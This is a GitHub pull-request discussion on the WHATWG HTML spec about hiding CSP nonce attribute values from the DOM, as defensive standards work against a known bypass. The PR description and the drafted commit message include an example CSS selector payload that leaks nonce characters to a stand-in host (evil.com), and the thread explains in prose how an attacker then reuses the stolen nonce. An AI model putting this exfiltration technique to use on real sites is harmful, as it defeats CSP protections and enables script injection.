New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Hide `nonce` content attribute values. (#2369) #2373

Merged
merged 12 commits into from Nov 22, 2017

Conversation

8 participants
@mikewest
Member

mikewest commented Feb 20, 2017

We've seen some recent attacks on CSP which rely on the ability to
exfiltrate nonce data via various mechanisms that can grab data from
content attributes. CSS selectors are the best example: through clever
use of prefix/postfix text matching selectors values can be sent out
to an attacker's server for reuse (e.g.
script[nonce=a] { background: url("https://evil.com/nonce?a");}).

This patch makes some changes to mitigate this risk by hiding the nonce
value from relevant element's content attributes:

  1. When parsing an element with a nonce attribute, the content
    attribute's value is copied into an internal slot on the element, and
    overwritten with the empty string.

  2. The nonce IDL attribute's getter returns the value of the internal
    slot, and its setter updates the internal slot's value.

  3. The internal slot's value is used to populate the cryptographic
    nonce metadata used by Fetch when making requests.

WIP: This patch doesn't actually do the above yet. It only adjusts
the element in the hopes of sparking conversation about how this
feature should actually work. Does it look reasonable? Should we
replicate the steps for each element type that has a nonce, or move it
up the chain to something like Node?


Issue: #2369

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Feb 20, 2017

Member

Would a cleaner model not make this solely a parser change (parser sets the internal slot, doesn't append a content attribute) and then not have any other processing model observe or modify the nonce content attribute?

Member

annevk commented Feb 20, 2017

Would a cleaner model not make this solely a parser change (parser sets the internal slot, doesn't append a content attribute) and then not have any other processing model observe or modify the nonce content attribute?

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Feb 20, 2017

Member

We could certainly do it that way. That said, I think @arturjanc, et al are currently propagating the nonce value in a backwards-compatible way via code like the following, which would break if the content attribute wasn't present (e.g. the <script> was inserted via 'strict-dynamic''s automatic nonce propagation):

var nonce = document.querySelector('script[nonce]').nonce ||
            document.querySelector('script[nonce]').getAttribute('nonce');

I suppose they could instead grab the nonce by walking through all the <script> elements, checking each for a nonce value? That seems convoluted, but maybe putting the burden on the developer in that way is the right thing to do.

Member

mikewest commented Feb 20, 2017

We could certainly do it that way. That said, I think @arturjanc, et al are currently propagating the nonce value in a backwards-compatible way via code like the following, which would break if the content attribute wasn't present (e.g. the <script> was inserted via 'strict-dynamic''s automatic nonce propagation):

var nonce = document.querySelector('script[nonce]').nonce ||
            document.querySelector('script[nonce]').getAttribute('nonce');

I suppose they could instead grab the nonce by walking through all the <script> elements, checking each for a nonce value? That seems convoluted, but maybe putting the burden on the developer in that way is the right thing to do.

Show outdated Hide outdated source
Hide 'nonce' content attributes.
This patch extracts the 'nonce' attribute out to a generic definition in
the "Fetching resources" section (alongside "CORS settings attributes",
etc.), and defines some new behaviors with the intent of reducing the
risk of side-channel leakage of the nonce's value.

In short, the nonce value is extracted from the content attribute when
the element is inserted into the DOM, and put into an internal slot. The
content attribute's value is set to the empty string.

From then on, the slot's value and the content attribute's value are
disconnected; alterations to one have no effect on the other, and
vice-versa.

The nonce's value is available to script via the `nonce` IDL attribute,
and so can be propagated just as today.

Addresses #2369.
@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Apr 7, 2017

Member

I've updated this patch after thinking about things a little bit more, and I'll put together some tests today in hopes of explaining how I think things would work.

Member

mikewest commented Apr 7, 2017

I've updated this patch after thinking about things a little bit more, and I'll put together some tests today in hopes of explaining how I think things would work.

mikewest added a commit to web-platform-tests/wpt that referenced this pull request Apr 7, 2017

@mikewest mikewest changed the title from WIP: Hide nonce content attribute values. (#2369) to Hide nonce content attribute values. (#2369) Apr 7, 2017

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Apr 10, 2017

Member

Thoughts?

I'd like to ship something to close this hole in the relatively near future. I think this approach feels pretty reasonable, seems like a good balance between developer ergonomics and security, and folks on @arturjanc's team at Google are ~confident in their experiments on top of Chrome's experimental implementation.

/ccing the list of folks from the related issue @arturjanc, @mikispag, @lweichselbaum, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink in the hopes of soliciting more opinions.

Member

mikewest commented Apr 10, 2017

Thoughts?

I'd like to ship something to close this hole in the relatively near future. I think this approach feels pretty reasonable, seems like a good balance between developer ergonomics and security, and folks on @arturjanc's team at Google are ~confident in their experiments on top of Chrome's experimental implementation.

/ccing the list of folks from the related issue @arturjanc, @mikispag, @lweichselbaum, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @devd, @johnwilander, and @teddink in the hopes of soliciting more opinions.

Show outdated Hide outdated source

@mikewest mikewest changed the title from Hide nonce content attribute values. (#2369) to Hide `nonce` content attribute values. (#2369) Apr 10, 2017

@zcorpan

This comment has been minimized.

Show comment
Hide comment
@zcorpan

zcorpan Apr 10, 2017

Member

So an implication here is that nonces will not appear anywhere other than in nonce="" attributes, correct? Not in srcset="foo 2x nonce(...)", not in CSS url("foo", nonce "..."), and so on?

Member

zcorpan commented Apr 10, 2017

So an implication here is that nonces will not appear anywhere other than in nonce="" attributes, correct? Not in srcset="foo 2x nonce(...)", not in CSS url("foo", nonce "..."), and so on?

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Apr 10, 2017

Member

@zcorpan: The approach here only applies to nonce attributes in markup. If someone does the work to expose fetch attributes to other kinds of syntax, then we'd probably want to talk about the way that data is exposed to side-channels.

Member

mikewest commented Apr 10, 2017

@zcorpan: The approach here only applies to nonce attributes in markup. If someone does the work to expose fetch attributes to other kinds of syntax, then we'd probably want to talk about the way that data is exposed to side-channels.

@foolip

This comment has been minimized.

Show comment
Hide comment
@foolip

foolip Apr 11, 2017

Member

Do you have a PR for SVG as well? Blink's SVGScriptElement.idl points to https://w3c.github.io/webappsec/specs/content-security-policy/#script-src-the-nonce-attribute, but that now redirects to a spec that doesn't define anything for SVG. https://svgwg.org/svg2-draft/single-page.html also doesn't do it.

Member

foolip commented Apr 11, 2017

Do you have a PR for SVG as well? Blink's SVGScriptElement.idl points to https://w3c.github.io/webappsec/specs/content-security-policy/#script-src-the-nonce-attribute, but that now redirects to a spec that doesn't define anything for SVG. https://svgwg.org/svg2-draft/single-page.html also doesn't do it.

@domenic

This comment has been minimized.

Show comment
Hide comment
@domenic

domenic Apr 11, 2017

Member

To make sure I'm following, most of this patch is disappearing in favor of whatwg/dom#436, right? With the main things remaining being the deletion of nonce from link/style/script.

Member

domenic commented Apr 11, 2017

To make sure I'm following, most of this patch is disappearing in favor of whatwg/dom#436, right? With the main things remaining being the deletion of nonce from link/style/script.

@bzbarsky

This comment has been minimized.

Show comment
Hide comment
@bzbarsky

bzbarsky Apr 12, 2017

Collaborator

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

Collaborator

bzbarsky commented Apr 12, 2017

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Apr 12, 2017

Member

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Yes, for <template> if for no other reason. I believe that's already covered in this patch via the "cloning steps" bit on line 6888 (as well as in the DOM variant that it sounds like you want us to drop (and I can live with that)).

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

That's a good point. FWIW, I can live with breaking this, given the intersection of developers likely to use CSP nonces and developers likely to innerHTML += their document, but I'm open to alternatives.

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

@arturjanc can probably give you more context than you prefer to have on this topic. His claim is both that dealing with style at scale is hard (with Google-specific anecdata to back that up), and that style-src shouldn't be necessary to have a reasonable guarantee of protection via script-src. Ensuring that the nonce is exposed only to script goes some way towards providing that baseline.

That said, I agree with you that there are relevant distinctions between attribute values and inline style. Allowing distinct targeting of each category via CSP might alleviate some of the deployment pain that folks feel, but it's not at all clear to me that that's the core of the issues Artur's team has run into at Google.

Member

mikewest commented Apr 12, 2017

Should cloning preserve this nonce internal slot? This is more relevant to style than script, obviously. Would affect cases when people fetch a DOM subtree via XHR and then clone some subtree of the responseXML.

Yes, for <template> if for no other reason. I believe that's already covered in this patch via the "cloning steps" bit on line 6888 (as well as in the DOM variant that it sounds like you want us to drop (and I can live with that)).

Have we considered the interaction with pages doing innerHTML += stuff? Seems like that would make nonce'd stylesheets disappear...

That's a good point. FWIW, I can live with breaking this, given the intersection of developers likely to use CSP nonces and developers likely to innerHTML += their document, but I'm open to alternatives.

I'd really like to take a step back and understand the threat model here. Is it (basing this off the blink-dev thread) that people can maybe inject <style> elements and sites can't use CSP to forbid those because there is no way to do so without forbidding style attributes too? Maybe CSP should be able to forbid one without the other, since they have different attack profiles. You can't exfiltrate attribute values via style attributes, for example...

@arturjanc can probably give you more context than you prefer to have on this topic. His claim is both that dealing with style at scale is hard (with Google-specific anecdata to back that up), and that style-src shouldn't be necessary to have a reasonable guarantee of protection via script-src. Ensuring that the nonce is exposed only to script goes some way towards providing that baseline.

That said, I agree with you that there are relevant distinctions between attribute values and inline style. Allowing distinct targeting of each category via CSP might alleviate some of the deployment pain that folks feel, but it's not at all clear to me that that's the core of the issues Artur's team has run into at Google.

@bzbarsky

This comment has been minimized.

Show comment
Hide comment
@bzbarsky

bzbarsky Apr 12, 2017

Collaborator

Another thing to consider here is editors. The fact that the DOM doesn't actually store the right state anymore makes writing editors a lot trickier...

In general, it seems to me that auto-disappearing attributes will lead to a long tail of things that break because no one expects that to happen, because it never happens right now....

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

Collaborator

bzbarsky commented Apr 12, 2017

Another thing to consider here is editors. The fact that the DOM doesn't actually store the right state anymore makes writing editors a lot trickier...

In general, it seems to me that auto-disappearing attributes will lead to a long tail of things that break because no one expects that to happen, because it never happens right now....

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

@arturjanc

This comment has been minimized.

Show comment
Hide comment
@arturjanc

arturjanc Apr 12, 2017

I like the idea of being able to distinguish between style attributes and <style> elements in CSP because they differ significantly in their capabilities, i.e. the latter can use selectors, media queries, @import, etc and is much more powerful for an attacker. Something like style-src 'nonce-foo' 'unsafe-inline-attributes-only' could be a useful primitive.

I'm less excited about forcing developers to restrict styles just so they can prevent script execution if they use CSP with nonces, for the reasons mentioned by Mike. It's worth talking about, but I'd propose that it's
somewhat tangential to this change; it would require large modifications to existing applications which use CSP and would take a long time, whereas the fix discussed here wouldn't require such refactoring.

@bzbarsky The most readable explanation of the threat model is https://sirdarckcat.blogspot.ch/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html Essentially, an injection which can be triggered by an attacker without reloading the page (which happens frequently with DOM XSS) allows the attacker to exfiltrate a script nonce and then re-use the exfiltrated value to inject arbitrary scripts, even if the application has an otherwise safe CSP policy. The attacks mentioned in the post all rely on the fact that you can exfiltrate data from the DOM without the capability to execute scripts, most commonly by using CSS selectors. However, I don't think CSS is the only way to accomplish this, or at the very least it's not particularly future-proof -- there are features in other web formats such as SVG which can manipulate attributes of other DOM nodes (e.g. <set>) which, if the script nonce is accessible to the DOM, could have a similar effect. An attacker with a markup injection has a lot of attack surface to poke at to try and discover the nonce; preventing the nonce attribute from being accessible to the DOM seems like a fairly robust solution to such problems.

arturjanc commented Apr 12, 2017

I like the idea of being able to distinguish between style attributes and <style> elements in CSP because they differ significantly in their capabilities, i.e. the latter can use selectors, media queries, @import, etc and is much more powerful for an attacker. Something like style-src 'nonce-foo' 'unsafe-inline-attributes-only' could be a useful primitive.

I'm less excited about forcing developers to restrict styles just so they can prevent script execution if they use CSP with nonces, for the reasons mentioned by Mike. It's worth talking about, but I'd propose that it's
somewhat tangential to this change; it would require large modifications to existing applications which use CSP and would take a long time, whereas the fix discussed here wouldn't require such refactoring.

@bzbarsky The most readable explanation of the threat model is https://sirdarckcat.blogspot.ch/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html Essentially, an injection which can be triggered by an attacker without reloading the page (which happens frequently with DOM XSS) allows the attacker to exfiltrate a script nonce and then re-use the exfiltrated value to inject arbitrary scripts, even if the application has an otherwise safe CSP policy. The attacks mentioned in the post all rely on the fact that you can exfiltrate data from the DOM without the capability to execute scripts, most commonly by using CSS selectors. However, I don't think CSS is the only way to accomplish this, or at the very least it's not particularly future-proof -- there are features in other web formats such as SVG which can manipulate attributes of other DOM nodes (e.g. <set>) which, if the script nonce is accessible to the DOM, could have a similar effect. An attacker with a markup injection has a lot of attack surface to poke at to try and discover the nonce; preventing the nonce attribute from being accessible to the DOM seems like a fairly robust solution to such problems.

@arturjanc

This comment has been minimized.

Show comment
Hide comment
@arturjanc

arturjanc Apr 12, 2017

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

As one data point, it would likely break most of Google ;-) Many applications care about script injection but not style injection, so they set script-src but not style-src in CSP; consequently they do not add nonces to <style> and <link#rel=stylesheet> elements -- this is essentially what https://csp.withgoogle.com/docs/index.html recommends to developers.

arturjanc commented Apr 12, 2017

Maybe the right answer is simply that any use of nonces in CSP should disable <style> that's not explicitly whitelisted via nonces (but NOT disable style attributes)? Not sure how much that would break in practice; it depends on how widely nonce is deployed...

As one data point, it would likely break most of Google ;-) Many applications care about script injection but not style injection, so they set script-src but not style-src in CSP; consequently they do not add nonces to <style> and <link#rel=stylesheet> elements -- this is essentially what https://csp.withgoogle.com/docs/index.html recommends to developers.

@bzbarsky

This comment has been minimized.

Show comment
Hide comment
@bzbarsky

bzbarsky Apr 12, 2017

Collaborator

I'm sympathetic to the attack surface argument, but I still think the auto-disappearing behavior being proposed is going to cause problems for all sorts of tools by violating a very basic invariant of how the DOM works... It seems like we're working around a mistake in how we designed CSP's nonce interaction (a mistake that is hard to fix now due to existing deployments) by breaking the DOM's invariants in ways that will cause problems for everyone other than CSP. :(

Collaborator

bzbarsky commented Apr 12, 2017

I'm sympathetic to the attack surface argument, but I still think the auto-disappearing behavior being proposed is going to cause problems for all sorts of tools by violating a very basic invariant of how the DOM works... It seems like we're working around a mistake in how we designed CSP's nonce interaction (a mistake that is hard to fix now due to existing deployments) by breaking the DOM's invariants in ways that will cause problems for everyone other than CSP. :(

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Apr 13, 2017

Member

So. Where do we go from here? It sounds like we agree that the threat is a reasonable one to defend against, and it sounds like we agree that it would be hard to modify the existing behavior of script-src 'nonce-whatever' due to existing deployment.

Given that, I'm tempted to say that the strange behavior of the nonce attribute is a wart we can live with, especially if we limit it to the specific types of elements that have special behavior (as this patch does).

If that's unacceptable, then perhaps introducing a broader concept, similar to the sec- header prefix would be reasonable? nonce can continue to behave just like any other attribute, but __totally-hidden-and-secret__nonce would be magical? That seems even uglier, but would be less likely to crop up in ways that would break invariants that existing code relies upon?

Member

mikewest commented Apr 13, 2017

So. Where do we go from here? It sounds like we agree that the threat is a reasonable one to defend against, and it sounds like we agree that it would be hard to modify the existing behavior of script-src 'nonce-whatever' due to existing deployment.

Given that, I'm tempted to say that the strange behavior of the nonce attribute is a wart we can live with, especially if we limit it to the specific types of elements that have special behavior (as this patch does).

If that's unacceptable, then perhaps introducing a broader concept, similar to the sec- header prefix would be reasonable? nonce can continue to behave just like any other attribute, but __totally-hidden-and-secret__nonce would be magical? That seems even uglier, but would be less likely to crop up in ways that would break invariants that existing code relies upon?

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Apr 13, 2017

Member

Maybe we should explore restricting stylesheets independently from style attributes more?

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

Member

annevk commented Apr 13, 2017

Maybe we should explore restricting stylesheets independently from style attributes more?

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

@zcorpan

This comment has been minimized.

Show comment
Hide comment
@zcorpan

zcorpan Apr 13, 2017

Member
SELECT COUNT(*) AS num, REGEXP_EXTRACT(LOWER(body), r'<([a-z][a-z0-9-]*)(?:\s[^>]+)?\s+nonce\s*=') AS tag
FROM [httparchive:har.2017_03_15_chrome_requests_bodies]
GROUP BY tag
ORDER BY num DESC
Row	num	tag	 
1	17096802	null	 
2	6793	script	 
3	58	style	 
4	4	link	 
5	2	img
Member

zcorpan commented Apr 13, 2017

SELECT COUNT(*) AS num, REGEXP_EXTRACT(LOWER(body), r'<([a-z][a-z0-9-]*)(?:\s[^>]+)?\s+nonce\s*=') AS tag
FROM [httparchive:har.2017_03_15_chrome_requests_bodies]
GROUP BY tag
ORDER BY num DESC
Row	num	tag	 
1	17096802	null	 
2	6793	script	 
3	58	style	 
4	4	link	 
5	2	img
@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Apr 13, 2017

Member

Maybe we should explore restricting stylesheets independently from style attributes more?

I think this is probably worth doing, but orthogonal to the question here. That is, it doesn't sound like changing this behavior to more specifically target kinds of style would not make it easier for @arturjanc to teach the properties he's responsible for about style-src.

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

This is probably confusing, as the initial proposal has shifted as we've gone. The current proposal in this PR is more narrowly scoped, and, as @annevk notes, doesn't affect setAttribute() but only the insertion steps. It seems targeted enough to be unlikely to cause issues in real sites, as @zcorpan's analysis also seems to show.

Member

mikewest commented Apr 13, 2017

Maybe we should explore restricting stylesheets independently from style attributes more?

I think this is probably worth doing, but orthogonal to the question here. That is, it doesn't sound like changing this behavior to more specifically target kinds of style would not make it easier for @arturjanc to teach the properties he's responsible for about style-src.

But also, I don't think this quite breaks an invariant in the DOM, since anyone could have insertion behavior defined that modifies attributes; though with mutation observers that change would happen a little later of course. We're not actually modifying what setAttribute() does here.

This is probably confusing, as the initial proposal has shifted as we've gone. The current proposal in this PR is more narrowly scoped, and, as @annevk notes, doesn't affect setAttribute() but only the insertion steps. It seems targeted enough to be unlikely to cause issues in real sites, as @zcorpan's analysis also seems to show.

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

Can you add a source comment about the intended reuse by SVGElement?

Member

annevk commented Nov 15, 2017

Can you add a source comment about the intended reuse by SVGElement?

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

Can you add a source comment about the intended reuse by SVGElement?

Done in 1a78955.

Looking at NoncedElement again, I suppose it should actually be a mixin once the tooling supports it?

Member

mikewest commented Nov 15, 2017

Can you add a source comment about the intended reuse by SVGElement?

Done in 1a78955.

Looking at NoncedElement again, I suppose it should actually be a mixin once the tooling supports it?

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

Yeah, that's blocked on tooling though for now.

Member

annevk commented Nov 15, 2017

Yeah, that's blocked on tooling though for now.

@annevk

Found a couple nits. Looks good to me otherwise.

Show outdated Hide outdated source
Show outdated Hide outdated source
Show outdated Hide outdated source
Show outdated Hide outdated source
Show outdated Hide outdated source
Show outdated Hide outdated source
@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

Found a couple nits. Looks good to me otherwise.

Hopefully de-nitted in 67f38c6.

Member

mikewest commented Nov 15, 2017

Found a couple nits. Looks good to me otherwise.

Hopefully de-nitted in 67f38c6.

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

this element's*
then set*
to the given value*

Member

annevk commented on source in 67f38c6 Nov 15, 2017

this element's*
then set*
to the given value*

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

Hrm. Ok.

(It's not clear to me when "this element" is the right thing to say. When are we in a "this"able context?)

Member

mikewest replied Nov 15, 2017

Hrm. Ok.

(It's not clear to me when "this element" is the right thing to say. When are we in a "this"able context?)

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

And, did you mean that I should end up with "Whenever this element's nonce attribute is set or changed, set this element's [[Crypto...", or "Whenever a NoncedElement's nonce attribute is changed, set this element's ..."? If the former, I probably need to poke at the next paragraph as well...

Member

mikewest replied Nov 15, 2017

And, did you mean that I should end up with "Whenever this element's nonce attribute is set or changed, set this element's [[Crypto...", or "Whenever a NoncedElement's nonce attribute is changed, set this element's ..."? If the former, I probably need to poke at the next paragraph as well...

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

Inside algorithm steps associated with that element. I meant the latter. (And it seems my then set* suggestion was misguided.)

Member

annevk replied Nov 15, 2017

Inside algorithm steps associated with that element. I meant the latter. (And it seems my then set* suggestion was misguided.)

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

Feedback addressed in d628a08. Thanks!

Member

mikewest commented Nov 15, 2017

Feedback addressed in d628a08. Thanks!

@annevk

annevk approved these changes Nov 15, 2017

Thanks for addressing them, here's the remainder:

  1. Clear commit message title/body, including links to any tests.
  2. Browser bugs to ensure everyone is notified about this change.

(Was there recent WebAppSec discussion that's worth linking?)

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

For the commit message, would you like me to squash the commits? Or edit the initial post in this PR?

Browser bugs:

Member

mikewest commented Nov 15, 2017

For the commit message, would you like me to squash the commits? Or edit the initial post in this PR?

Browser bugs:

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

Just put the commit message between triple backticks in a new comment. We'll use the GitHub interface to squash and merge. (That way others can still see the individual changes.)

Member

annevk commented Nov 15, 2017

Just put the commit message between triple backticks in a new comment. We'll use the GitHub interface to squash and merge. (That way others can still see the individual changes.)

Comments have been addressed since.

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

How about something like:

Hide `nonce` content attribute values

Some [recent attacks on CSP][1] rely on the ability to exfiltrate
nonce data via various mechanisms that can read content attributes.
CSS selectors are the best example: through clever use of
prefix/postfix text matching selectors values can be sent out to an
attacker's server for reuse (e.g.,
`script[nonce=a] { background: url("https://evil.com/nonce?a");}`).

This patch mitigates the risk of this class of attack by hiding the
nonce value from elements' content attributes by moving the `nonce`
attributes into a new `NoncedElement` interface mixin, which is
included into `HTMLElement`. That mixin defines the following
behaviors for the `nonce` content attribute:

1.  When the `nonce` content attribute is set or changed, its new
    value is copied into a `[[CryptographicNonce]]` slot on the
    element.

2.  When a `NoncedElement` is inserted into a document which was
    delivered with a `Content-Security-Policy` header, the `nonce`
    content attribute is cleared out.

The `nonce` IDL attribute getter and setter now operate on the
`[[CryptographicNonce]]` slot's value rather than reflecting the
content attribute, meaning that the nonce value remains exposed
to script, but is opaque to non-script side-channels.

Likewise, the `[[CryptographicNonce]]` slot's value is used when
populating a request's cryptographic nonce metadata in order to
deliver the nonce to CSP for validation.

Tests: https://github.com/w3c/web-platform-tests/tree/master/content-security-policy/nonce-hiding

Closes #2369.

[1]: https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
Member

mikewest commented Nov 15, 2017

How about something like:

Hide `nonce` content attribute values

Some [recent attacks on CSP][1] rely on the ability to exfiltrate
nonce data via various mechanisms that can read content attributes.
CSS selectors are the best example: through clever use of
prefix/postfix text matching selectors values can be sent out to an
attacker's server for reuse (e.g.,
`script[nonce=a] { background: url("https://evil.com/nonce?a");}`).

This patch mitigates the risk of this class of attack by hiding the
nonce value from elements' content attributes by moving the `nonce`
attributes into a new `NoncedElement` interface mixin, which is
included into `HTMLElement`. That mixin defines the following
behaviors for the `nonce` content attribute:

1.  When the `nonce` content attribute is set or changed, its new
    value is copied into a `[[CryptographicNonce]]` slot on the
    element.

2.  When a `NoncedElement` is inserted into a document which was
    delivered with a `Content-Security-Policy` header, the `nonce`
    content attribute is cleared out.

The `nonce` IDL attribute getter and setter now operate on the
`[[CryptographicNonce]]` slot's value rather than reflecting the
content attribute, meaning that the nonce value remains exposed
to script, but is opaque to non-script side-channels.

Likewise, the `[[CryptographicNonce]]` slot's value is used when
populating a request's cryptographic nonce metadata in order to
deliver the nonce to CSP for validation.

Tests: https://github.com/w3c/web-platform-tests/tree/master/content-security-policy/nonce-hiding

Closes #2369.

[1]: https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

@domenic I'll let you squash & merge this for final approval. I think all is in order. (I made a couple editorial tweaks to the commit message.)

Member

annevk commented Nov 15, 2017

@domenic I'll let you squash & merge this for final approval. I think all is in order. (I made a couple editorial tweaks to the commit message.)

@domenic

This comment has been minimized.

Show comment
Hide comment
@domenic

domenic Nov 15, 2017

Member

Did this ever get second-implementer interest? Talk of commit messages feels a bit premature.

Member

domenic commented Nov 15, 2017

Did this ever get second-implementer interest? Talk of commit messages feels a bit premature.

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

@domenic it's been discussed with other implementers several times (reportedly again recently at TPAC) and nobody has objected to this change. I think that meets the bar.

Member

annevk commented Nov 15, 2017

@domenic it's been discussed with other implementers several times (reportedly again recently at TPAC) and nobody has objected to this change. I think that meets the bar.

@annevk

This comment has been minimized.

Show comment
Hide comment
@annevk

annevk Nov 15, 2017

Member

Also, I just noticed the Firefox bug pointed to above is filed by a Mozilla engineer.

Member

annevk commented Nov 15, 2017

Also, I just noticed the Firefox bug pointed to above is filed by a Mozilla engineer.

@domenic

This comment has been minimized.

Show comment
Hide comment
@domenic

domenic Nov 15, 2017

Member

I'd like to get links to minutes or something starting another implementer plans to implement before merging.

Member

domenic commented Nov 15, 2017

I'd like to get links to minutes or something starting another implementer plans to implement before merging.

@mikewest

This comment has been minimized.

Show comment
Hide comment
@mikewest

mikewest Nov 15, 2017

Member

Did this ever get second-implementer interest? Talk of commit messages feels a bit premature.

@arturjanc raised it again at TPAC, and my impression is that folks around the room nodded along. There were certainly no objections from anyone, but no roar of explicit support.

@ckerschb filed the Mozilla bug a while ago, perhaps he has opinions (or @dveditz?). @patrickkettner might be able to provide feedback from Edge? @johnwilander or @dbates-wk could weigh in from WebKit?

Member

mikewest commented Nov 15, 2017

Did this ever get second-implementer interest? Talk of commit messages feels a bit premature.

@arturjanc raised it again at TPAC, and my impression is that folks around the room nodded along. There were certainly no objections from anyone, but no roar of explicit support.

@ckerschb filed the Mozilla bug a while ago, perhaps he has opinions (or @dveditz?). @patrickkettner might be able to provide feedback from Edge? @johnwilander or @dbates-wk could weigh in from WebKit?

chromium-wpt-export-bot added a commit to web-platform-tests/wpt that referenced this pull request Nov 19, 2017

Add custom element event tests for CSP nonce hiding.
Basically copy-pasting from Anne's suggestions at
whatwg/html#2373 (comment)

Bug: 680419
Change-Id: I9fee18d46dc00ff3ec8ec90f3d8acd80ab015622
Reviewed-on: https://chromium-review.googlesource.com/771151
Reviewed-by: Andy Paicu <andypaicu@chromium.org>
Commit-Queue: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#517734}

chromium-wpt-export-bot added a commit to web-platform-tests/wpt that referenced this pull request Nov 19, 2017

Add custom element event tests for CSP nonce hiding.
Basically copy-pasting from Anne's suggestions at
whatwg/html#2373 (comment)

Bug: 680419
Change-Id: I9fee18d46dc00ff3ec8ec90f3d8acd80ab015622
Reviewed-on: https://chromium-review.googlesource.com/771151
Reviewed-by: Andy Paicu <andypaicu@chromium.org>
Commit-Queue: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#517734}

MXEBot pushed a commit to mirror/chromium that referenced this pull request Nov 20, 2017

Add custom element event tests for CSP nonce hiding.
Basically copy-pasting from Anne's suggestions at
whatwg/html#2373 (comment)

Bug: 680419
Change-Id: I9fee18d46dc00ff3ec8ec90f3d8acd80ab015622
Reviewed-on: https://chromium-review.googlesource.com/771151
Reviewed-by: Andy Paicu <andypaicu@chromium.org>
Commit-Queue: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/heads/master@{#517734}
@ckerschb

This comment has been minimized.

Show comment
Hide comment
@ckerschb

